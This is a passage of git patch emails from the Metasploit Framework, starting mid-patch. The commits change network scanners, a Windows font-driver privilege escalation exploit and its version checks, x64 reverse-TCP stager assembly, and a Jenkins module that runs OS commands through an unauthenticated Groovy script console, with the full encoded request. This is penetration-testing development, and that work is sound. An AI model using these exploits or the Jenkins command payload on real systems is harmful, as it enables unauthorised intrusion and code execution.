proto: "udp", name: "llmnr", info: "#{request_info} -> #{response_info}") + report_service(host: peer, port: rport, proto: "udp", name: "llmnr", info: response_info) + found[peer][resp] = true end end end diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 40ec87487b..4412818e31 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -35,11 +35,15 @@ class Metasploit3 < Msf::Auxiliary end def scanner_postscan(_batch) + found = {} @results.each_pair do |peer, resps| resps.each do |resp| + found[peer] ||= {} + next if found[peer][resp] response_info = describe_response(resp) print_good("#{peer} responded with #{response_info}") - report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: "#{request_info} -> #{response_info}") + report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: response_info) + found[peer][resp] = true end end end From de25a6c23cb9c3f2b3b245d60e06ab7b7471070a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 2 Sep 2015 18:32:45 -0500 Subject: [PATCH 0508/2172] Add metadata --- modules/exploits/windows/local/ms15_078_atmfd_bof.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 559b7860d9..f2c5ad6a11 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -18,10 +18,12 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, { - 'Name' => 'Windows ...', + 'Name' => 'MS15-004 Microsoft Windows Font Driver Buffer Overflow', 'Description' => %q{ - This module ... - This module has been tested on vulnerable builds of Windows 8.1 x64. + This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing + a malformed font. The vulnerability was exploited by the hacking team and disclosed on + the july data leak. This module has been tested successfully on vulnerable builds of + Windows 8.1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -37,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Local 'EXITFUNC' => 'thread', }, 'Targets' => [ + # win32k.sys 6.3.9600.17393 / ntoskrnl.exe 6.3.9600.17415 / atmfd 5.1.2.238 (Works) [ 'Windows 8.1 x64', { } ] ], 'Payload' => { @@ -56,8 +59,6 @@ class Metasploit3 < Msf::Exploit::Local end def check - # Windows 8.1 (64-bit) / atmfd 5.1.2.238 (Works) - # Windows 8.1 if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown From 01cbd842adecdf4da0a10c83df94039c6d4526ca Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 2 Sep 2015 18:42:34 -0500 Subject: [PATCH 0509/2172] Updates based on @jlee-r7's feedback --- lib/rex/text.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index fc68dd4c59..8020c45091 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1524,6 +1524,7 @@ module Text def self.remove_badchars(data, badchars = '') badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join data.gsub!(/[#{badchars_pat}]/n, '') + data end # @@ -1532,8 +1533,8 @@ module Text # @param keepers [String] # @return [String] All characters not contained in +keepers+ def self.charset_exclude(keepers) - keepers_pat = keepers.unpack("C*").map{|c| "\\x%.2x" % c}.join - [*(0..255)].pack("C*").gsub(/[^#{keepers_pat}]/n, '') + excluded_bytes = [*(0..255)] - keepers.unpack("C*") + excluded_bytes.pack("C*") end # From 9f1f797031d4710fe73d02191014d011602802c8 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 2 Sep 2015 18:52:53 -0500 Subject: [PATCH 0510/2172] Skip substitution if badchars is empty --- lib/rex/text.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 8020c45091..9d55293c61 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1522,6 +1522,7 @@ module Text # @param data [#delete] # @param badchars [String] A list of characters considered to be bad def self.remove_badchars(data, badchars = '') + return data if badchars.length == 0 badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join data.gsub!(/[#{badchars_pat}]/n, '') data From f78f6d0a0cc20bbe8f1544204574911ea7aee2f2 Mon Sep 17 00:00:00 2001 From: Alton Johnson <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 19:03:07 -0500 Subject: [PATCH 0511/2172] Updated. --- modules/auxiliary/scanner/http/jenkins_command.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index f0f984c8da..0b88e44d3a 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -3,10 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -## -# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata -## - require 'rex/proto/http' require 'msf/core' require 'rexml/document' @@ -62,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary print_error("The provided command is not valid. Try again.") else print_good("The command executed. Output:") - print_good(output) + output.split("\n").each{|line| print_status("#{rhost}:#{rport} Output: #{line.strip} "} end end end From 40176b9e3f44d47e35d3f169578131254c571c80 Mon Sep 17 00:00:00 2001 From: Alton Johnson <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 19:36:18 -0500 Subject: [PATCH 0512/2172] Updated. --- modules/auxiliary/scanner/http/jenkins_command.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 0b88e44d3a..34d1305a63 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary print_error("The provided command is not valid. Try again.") else print_good("The command executed. Output:") - output.split("\n").each{|line| print_status("#{rhost}:#{rport} Output: #{line.strip} "} + print_good(output.strip) end end end From 9767de9bd0a0bb168002ea4e51e0ea929c23873c Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 3 Sep 2015 11:56:59 +1000 Subject: [PATCH 0513/2172] Truncate payload size to 32 bits --- lib/msf/core/payload/windows/x64/reverse_tcp.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 8a6dd88ade..3110f5642e 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -219,6 +219,7 @@ module Payload::Windows::ReverseTcp_x64 ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length + movsxd rsi, esi ; only use the lower-order 32 bits for the size push 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE push 0x1000 ; From 3fd9e0311c94db0182139e69d7692f07da63311e Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 3 Sep 2015 12:01:11 +1000 Subject: [PATCH 0514/2172] Update payload sizes --- modules/payloads/stagers/windows/x64/reverse_tcp.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index 392291549c..61879f0de6 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 447 + CachedSize = 450 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index f86160bc6e..51158fc908 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 488 + CachedSize = 491 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 From 255c8b63b3bac151a571d07eeb857b453e8af953 Mon Sep 17 00:00:00 2001 From: altjx <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 23:33:06 -0400 Subject: [PATCH 0515/2172] Modified output --- .../auxiliary/scanner/http/jenkins_command.rb | 59 +++++++------------ 1 file changed, 20 insertions(+), 39 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 34d1305a63..ddbb4bedac 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -3,6 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +## +# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata +## + require 'rex/proto/http' require 'msf/core' require 'rexml/document' @@ -15,60 +19,37 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Jenkins RCE (via Groovy Script)', + 'Name' => 'Jenkins Enumeration', 'Description' => %q{ - This module takes advantage of the lack of password on Jenkins web applications - and automates the command execution aspect (via groovy script). + This module enumerates a remote Jenkins installation in an unauthenticated manner, including + host operating system and and Jenkins installation details. }, - 'Author' => - [ - 'altonjx', - 'Jeffrey Cap' - ], - 'References' => [ - ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] - ], + 'Author' => 'Jeff McCutchan', 'License' => MSF_LICENSE )) register_options( [ - OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/script"]), - OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), + OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]), + OptString.new('COMMAND', [true, 'Command to run via Groovy Script']), ], self.class) - deregister_options('VHOST') end - def run_host(ip, prefix="cmd.exe /c", try=1) + def run_host(ip) + headers = { + 'Cookie' => 'JSESSIONID=1x7vleaog5ele1hte6hk6ca6bw' + } command = datastore['COMMAND'].gsub("\\", "\\\\\\") res = send_request_cgi( { 'uri' => target_uri.path, 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" - }).body.to_s - if res.nil? - print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.") - else - output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "") - if output.include? "org.eclipse.jetty.server." and try == 1 - run_host(ip, "", 2) - elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as" - print_error("The provided command is not valid. Try again.") - else - print_good("The command executed. Output:") - print_good(output.strip) - end - end - end - - def report_data(ip, command) - report_service( - :host => ip, - :port => datastore['RPORT'], - :proto => 'tcp', - :info => "The command -- #{command} -- executed successfully on the remote system." - ) + 'headers' => headers, + 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" + }).to_s.gsub("err&gt;", "") + output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].strip + print_good("The command executed successfully on #{rhost}:#{rport}.") + output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")} end end From 4b8dc143ec4f551acbdfc82e52801028ed3edc49 Mon Sep 17 00:00:00 2001 From: altjx <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 23:50:03 -0400 Subject: [PATCH 0516/2172] Fixed output --- .../auxiliary/scanner/http/jenkins_command.rb | 61 +++++++++++++------ 1 file changed, 41 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index ddbb4bedac..a2aa87978b 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -3,10 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -## -# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata -## - require 'rex/proto/http' require 'msf/core' require 'rexml/document' @@ -19,37 +15,62 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Jenkins Enumeration', + 'Name' => 'Jenkins RCE (via Groovy Script)', 'Description' => %q{ - This module enumerates a remote Jenkins installation in an unauthenticated manner, including - host operating system and and Jenkins installation details. + This module takes advantage of the lack of password on Jenkins web applications + and automates the command execution aspect (via groovy script). }, - 'Author' => 'Jeff McCutchan', + 'Author' => + [ + 'altonjx', + 'Jeffrey Cap' + ], + 'References' => [ + ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] + ], 'License' => MSF_LICENSE )) register_options( [ - OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]), - OptString.new('COMMAND', [true, 'Command to run via Groovy Script']), + OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/script"]), + OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), ], self.class) + deregister_options('VHOST') end - def run_host(ip) - headers = { - 'Cookie' => 'JSESSIONID=1x7vleaog5ele1hte6hk6ca6bw' - } + def run_host(ip, prefix="cmd.exe /c", try=1) command = datastore['COMMAND'].gsub("\\", "\\\\\\") res = send_request_cgi( { 'uri' => target_uri.path, 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => headers, - 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" - }).to_s.gsub("err&gt;", "") - output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].strip - print_good("The command executed successfully on #{rhost}:#{rport}.") - output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")} + 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" + }).body.to_s + if res.nil? + print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.") + else + output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "").strip + if output.include? "org.eclipse.jetty.server." and try == 1 + run_host(ip, "", 2) + elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as" + print_error("The provided command is not valid. Try again.") + report_data(ip, rport, "The #{command} did not run successfully.") + else + print_good("The command executed successfully on #{ip}. Output:") + report_data(ip, rport, "The #{command} executed successfully.") + output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")} + end + end + end + + def report_data(ip, rport, result) + report_service( + :host => ip, + :port => datastore['RPORT'], + :proto => 'tcp', + :info => result + ) end end From 8a99bca728eb777105f8c0c8b99ffb66c02a7d33 Mon Sep 17 00:00:00 2001 From: Waqas Ali <waqas.bsquare@gmail.com> Date: Thu, 3 Sep 2015 09:37:27 +0500 Subject: [PATCH 0517/2172] Update script with correct module path --- scripts/resource/basic_discovery.rc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/resource/basic_discovery.rc b/scripts/resource/basic_discovery.rc index 86bfb39e93..e393245d1d 100644 --- a/scripts/resource/basic_discovery.rc +++ b/scripts/resource/basic_discovery.rc @@ -559,7 +559,7 @@ framework.db.workspace.hosts.each do |host| jobwaiting(maxjobs,verbose) print_line("Module: vmware_server_dir_trav") - run_single("use auxiliary/scanner/http/vmware_server_dir_trav") + run_single("use auxiliary/scanner/vmware/vmware_server_dir_trav.rb") if(verbose == 1) infos(serv,host) end From 9107cfc019d8f0e7df157478a82fe347338fcf97 Mon Sep 17 00:00:00 2001 From: Waqas Ali <waqas.bsquare@gmail.com> Date: Thu, 3 Sep 2015 09:49:54 +0500 Subject: [PATCH 0518/2172] Remove rb from module name --- scripts/resource/basic_discovery.rc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/resource/basic_discovery.rc b/scripts/resource/basic_discovery.rc index e393245d1d..eb7fe91478 100644 --- a/scripts/resource/basic_discovery.rc +++ b/scripts/resource/basic_discovery.rc @@ -559,7 +559,7 @@ framework.db.workspace.hosts.each do |host| jobwaiting(maxjobs,verbose) print_line("Module: vmware_server_dir_trav") - run_single("use auxiliary/scanner/vmware/vmware_server_dir_trav.rb") + run_single("use auxiliary/scanner/vmware/vmware_server_dir_trav") if(verbose == 1) infos(serv,host) end From ccd0a06353af9e5bcf47c1b9314d5a928f997802 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 3 Sep 2015 01:10:13 -0500 Subject: [PATCH 0519/2172] Use === --- lib/msf/core/post/android/priv.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/android/priv.rb b/lib/msf/core/post/android/priv.rb index 3f7732a3b4..42d4bc09e4 100644 --- a/lib/msf/core/post/android/priv.rb +++ b/lib/msf/core/post/android/priv.rb @@ -19,7 +19,7 @@ module Priv def is_root? id = cmd_exec('id') uid = id.scan(/uid=(\d+)(.+)/).flatten.first - if uid =~ /^0$/ + if /^0$/ === uid return true else return false From c1dd77279d88e5287716bebcf6ff82f1b76aef50 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 08:28:56 -0500 Subject: [PATCH 0520/2172] Revert "Fix 64 bits stager" This reverts commit 7b8b69c30dc24efb90ea71a75e45df9d323322fd. --- lib/msf/core/payload/windows/x64/reverse_tcp.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index b707a93455..6be0bfdd1b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -173,8 +173,6 @@ module Payload::Windows::ReverseTcp_x64 add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length - mov rcx, 0FFFFFFFFh ; load mask on rcx - and rsi, rcx ; apply mask push 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE push 0x1000 ; From dbe901915e9bfc94fb154095d46af550da2a282c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 09:54:38 -0500 Subject: [PATCH 0521/2172] Improve version detection --- .../windows/local/ms15_078_atmfd_bof.rb | 73 +++++++++++++++---- 1 file changed, 60 insertions(+), 13 deletions(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index f2c5ad6a11..70dbccc4d1 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -39,7 +39,6 @@ class Metasploit3 < Msf::Exploit::Local 'EXITFUNC' => 'thread', }, 'Targets' => [ - # win32k.sys 6.3.9600.17393 / ntoskrnl.exe 6.3.9600.17415 / atmfd 5.1.2.238 (Works) [ 'Windows 8.1 x64', { } ] ], 'Payload' => { @@ -58,25 +57,77 @@ class Metasploit3 < Msf::Exploit::Local })) end + def atmfd_version + file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' + major, minor, build, revision, branch = file_version(file_path) + return nil if major.nil? + ver = "#{major}.#{minor}.#{build}.#{revision}" + vprint_status("atmfd.dll file version: #{ver} branch: #{branch}") + + ver + end + + def win32k_version + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' + major, minor, build, revision, branch = file_version(file_path) + return nil if major.nil? + ver = "#{major}.#{minor}.#{build}.#{revision}" + vprint_status("win32k.sys file version: #{ver} branch: #{branch}") + + ver + end + + def ntoskrnl_version + file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' + major, minor, build, revision, branch = file_version(file_path) + return nil if major.nil? + ver = "#{major}.#{minor}.#{build}.#{revision}" + vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}") + + ver + end + def check - # Windows 8.1 + # We have tested only windows 8.1 + vprint_status("#{sysinfo['OS']}") if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown end - # Just 64 bits + # We have tested only 64 bits if sysinfo['Architecture'] !~ /(wow|x)64/i return Exploit::CheckCode::Unknown end - file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' - major, minor, build, revision, branch = file_version(file_path) - ver = "#{major}.#{minor}.#{build}.#{revision}" - vprint_status("atmfd.dll file version: #{ver} branch: #{branch}") + atmfd = atmfd_version + # atmfd 5.1.2.238 => Works + unless atmfd && Gem::Version.new(atmfd) <= Gem::Version.new('5.1.2.243') + return Exploit::CheckCode::Safe + end - return Exploit::CheckCode::Appears if Gem::Version.new(ver) == Gem::Version.new('5.1.2.238') + # win32k.sys 6.3.9600.17393 => Works + win32k = win32k_version - return Exploit::CheckCode::Unknown + unless win32k && win32k =~ /^6\.3/ + return Exploit::CheckCode::Unknown + end + + unless win32k && Gem::Version.new(win32k) == Gem::Version.new('6.3.9600.17393') + return Exploit::CheckCode::Detected + end + + # ntoskrnl.exe 6.3.9600.17415 => Works + ntoskrnl = ntoskrnl_version + + unless ntoskrnl && ntoskrnl =~ /^6\.3/ + return Exploit::CheckCode::Unknown + end + + unless ntoskrnl && Gem::Version.new(ntoskrnl) == Gem::Version.new('6.3.9600.17415') + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Appears end def exploit @@ -91,10 +142,6 @@ class Metasploit3 < Msf::Exploit::Local if sysinfo['Architecture'] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') - elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 - fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') - elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64 - fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end print_status('Launching notepad to host the exploit...') From 3334e94f804cb08c34e079f57f0d5b04e3469157 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 3 Sep 2015 09:59:56 -0500 Subject: [PATCH 0522/2172] update to metasploit-payloads 1.0.12 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index cbbf9398aa..aeb9d12d1e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.11) + metasploit-payloads (= 1.0.12) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.11) + metasploit-payloads (1.0.12) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 718c9c274b..3ef681604f 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.11' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.12' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From b39575928e8d9f6de3c3084d772392a1378f8fb5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 11:01:41 -0500 Subject: [PATCH 0523/2172] Update reflective exploit --- .../CVE-2015-2426/reflective_dll.x64.dll | Bin 870912 -> 870912 bytes .../source/exploits/CVE-2015-2426/.gitignore | 17 + .../source/exploits/CVE-2015-2426/LICENSE.txt | 25 + .../source/exploits/CVE-2015-2426/Readme.md | 40 + .../common/ReflectiveDLLInjection.h | 53 + .../CVE-2015-2426/dll/reflective_dll.vcxproj | 273 + .../dll/reflective_dll.vcxproj.filters | 58 + .../CVE-2015-2426/dll/src/Exploit.cpp | 57 + .../exploits/CVE-2015-2426/dll/src/Exploit.h | 5 + .../CVE-2015-2426/dll/src/Exploiter.cpp | 298 + .../CVE-2015-2426/dll/src/Exploiter.h | 13 + .../CVE-2015-2426/dll/src/FontData.cpp | 98155 ++++++++++++++++ .../exploits/CVE-2015-2426/dll/src/FontData.h | 6 + .../CVE-2015-2426/dll/src/MySyscalls.asm | 10 + .../CVE-2015-2426/dll/src/ReflectiveDll.c | 35 + .../CVE-2015-2426/dll/src/ReflectiveLoader.c | 599 + .../CVE-2015-2426/dll/src/ReflectiveLoader.h | 223 + .../CVE-2015-2426/dll/src/Win32kLeaker.cpp | 51 + .../CVE-2015-2426/dll/src/Win32kLeaker.h | 5 + .../CVE-2015-2426/inject/inject.vcxproj | 255 + .../inject/inject.vcxproj.filters | 35 + .../inject/src/GetProcAddressR.c | 116 + .../inject/src/GetProcAddressR.h | 36 + .../CVE-2015-2426/inject/src/Inject.c | 120 + .../CVE-2015-2426/inject/src/LoadLibraryR.c | 233 + 